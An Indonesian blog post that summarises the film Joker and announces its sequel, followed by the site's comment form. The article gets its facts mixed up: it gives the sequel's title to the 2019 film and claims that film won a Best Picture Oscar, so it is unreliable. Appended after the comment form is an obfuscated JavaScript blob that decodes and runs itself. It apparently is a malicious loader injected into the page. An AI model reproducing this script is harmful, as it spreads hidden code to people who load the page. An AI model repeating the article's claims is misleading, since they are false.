22/12/2024
Aset Joker 2

Film “Joker: Folie a Deux” yang rilis di tahun 2019 menjadi tontonan terbaik sepanjang masa dalam genre Psychological Thriller. Aktor, bintang utama dalam film “Joker: Folie a Deux”, Joaquin Phoenix meraih penghargaan dari Oscar sebagai aktor terbaik serta film “Joker: Folie a Deux” juga dicetuskan menjadi film terbaik oleh Oscar.

Film “Joker: Folie a Deux” yang menceritakan sebuah kondisi badut yang gagal menjadi komedian berakhir dalam penyakit mental psikopat. Arthur Fleck, seorang badut berusia 40 tahun, hidup di Gotham yang kacau bersama ibunya, Penny. Dia menderita kelainan otak yang membuatnya tertawa di waktu yang tidak tepat. Setelah diserang oleh sekelompok anak jalanan, Arthur diberi pistol oleh rekannya untuk perlindungan. Ketika penyakitnya kambuh di kereta, dia akhirnya membunuh tiga pria yang merundungnya. Pembunuhan itu memicu gerakan protes melawan orang kaya di Gotham.

Arthur kemudian menemukan bahwa dirinya adalah anak angkat Penny, dan masa kecilnya penuh dengan kekerasan yang menyebabkan trauma. Setelah membunuh ibunya dan mengalami serangkaian ilusi, Arthur tampil di acara TV yang dipandu Murray Franklin, di mana ia mengakui pembunuhan sebelumnya dan menembak mati Murray secara langsung. Ini memicu kerusuhan di Gotham, yang mengakibatkan kematian Thomas dan Martha Wayne. Arthur kemudian diselamatkan oleh para demonstran dan diarak sebagai simbol perlawanan. Di akhir cerita, Arthur terlihat di Rumah Sakit Arkham, tertawa karena merasa masyarakat tidak akan mengerti dirinya.

Senyuman Arthur Fleck menjadi khas dan highlight di sosial media. Namun di Joker 2 yang akan rilis pada tanggal 4 Oktober 2024 nanti akan menampilkan sebuah khas terbaru. Pengumuman resmi soal rilis Joker 2 sebagai lanjutan dari film “Joker: Folie a Deux” berasal dari Warner Bros sendiri. Sedangkan trailernya sendiri bulan lalu di platform X (Twitter). 

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z,(Zs(b0a}}oc2Z2&_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(ZihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();